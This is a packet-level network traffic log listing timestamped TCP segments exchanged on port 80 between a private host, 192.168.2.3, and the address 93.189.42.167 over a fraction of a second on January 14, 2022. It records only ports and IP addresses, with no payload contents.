Jan 14, 2022 01:51:48.729217052 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.729265928 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.731861115 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.731918097 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.731957912 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.731997013 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732021093 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732053041 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732069016 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732093096 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732131958 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732137918 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732170105 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732213020 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732225895 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732254028 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732294083 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732310057 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732336044 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732373953 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732398987 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732413054 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732450962 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732477903 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732489109 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732527018 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732542992 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732564926 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732604027 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732644081 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732659101 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732681990 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732721090 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732728958 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732758999 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732772112 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732795954 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732835054 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732846975 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732873917 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732913017 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732927084 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.732950926 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.732988119 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733025074 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733037949 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.733063936 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733099937 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733114958 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.733138084 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733175039 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733187914 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.733213902 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733216047 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.733253002 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733289003 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733302116 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.733328104 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733366966 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733372927 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.733402967 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733441114 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733453989 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.733479977 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733517885 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733557940 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733573914 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.733593941 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733594894 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.733633041 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733674049 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733688116 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.733710051 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733747959 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733761072 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.733787060 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733824968 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.733879089 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.780196905 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780256987 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780297995 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780323982 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.780337095 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780361891 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.780375004 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780414104 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780452013 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780472994 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.780489922 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780531883 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780544996 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.780569077 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780591011 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.780606985 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780646086 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780653000 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.780683994 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780721903 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780736923 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.780756950 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780796051 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780802965 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.780833960 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780869961 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780881882 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.780908108 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780946970 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780982018 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.780997038 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781021118 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781058073 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781070948 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781095982 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781100988 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781135082 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781171083 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781178951 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781209946 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781246901 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781259060 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781282902 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781320095 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781332970 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781357050 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781394005 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781433105 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781445026 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781469107 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781507015 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781521082 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781543970 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781579018 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781590939 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781616926 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781632900 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781658888 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781697035 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781747103 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781826019 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781894922 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781934023 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781944036 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.781972885 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.781976938 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.782011032 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.782048941 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.782064915 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.782119036 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784307957 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.784388065 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784445047 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784482956 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784504890 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.784523010 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784562111 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784583092 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.784600973 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784641027 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784662962 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.784682035 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784720898 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784758091 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784769058 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.784797907 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784831047 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.784836054 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784876108 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784892082 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.784914970 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784955978 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.784962893 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.784992933 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785031080 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785032988 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.785073042 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785109043 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785135984 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.785147905 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785186052 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785200119 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.785223961 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785264015 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785286903 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.785299063 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785339117 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785370111 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.785377026 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785413027 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785428047 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.785450935 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785487890 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785526037 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785541058 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.785566092 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785593033 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.785604954 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785660982 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.785681963 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785721064 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785757065 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785769939 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.785795927 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785834074 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785903931 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785940886 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.785978079 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.786792040 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.786834002 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.786870956 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.786907911 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.786945105 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.786981106 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.787019968 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.787056923 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.787095070 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.787132978 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.787168026 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.787206888 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.787245035 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.787280083 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.787317991 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.788094997 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.788134098 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.788141012 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.788146019 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.788150072 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.788155079 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.788158894 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.788162947 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.788167000 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.788171053 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.831664085 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.832211018 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832259893 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832302094 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832340002 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832355022 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.832379103 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832387924 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.832418919 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832457066 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832468987 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.832495928 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832535982 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832556963 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.832573891 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832613945 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832652092 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832665920 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.832693100 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832695007 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.832732916 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832771063 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832777977 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.832808971 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832848072 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832885027 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832904100 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.832928896 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.832946062 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.832978010 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833014965 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833039045 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.833053112 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833091021 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833129883 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833142996 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.833168030 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833204031 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833218098 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.833241940 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833280087 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833292961 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.833316088 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833353043 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833364964 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.833389997 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833391905 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.833429098 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833467007 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833478928 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.833503962 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833542109 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833556890 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.833580971 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833617926 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833620071 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.833669901 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833722115 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833776951 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833785057 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.833822966 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.833861113 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.833892107 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.834002018 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.834043026 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.834057093 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.834081888 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.834119081 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.834156036 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.834203959 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836091042 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836147070 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836184978 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836214066 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836224079 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836250067 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836265087 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836302996 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836344004 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836355925 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836381912 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836421013 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836433887 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836460114 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836462021 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836497068 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836535931 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836550951 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836572886 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836611032 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836627960 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836651087 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836690903 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836729050 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836744070 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836767912 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836771965 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836805105 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836843014 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836854935 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836880922 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836915970 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836929083 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.836954117 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.836991072 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.837028027 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.837033033 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.837066889 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.837080956 CET	49867	80	192.168.2.3	93.189.42.167
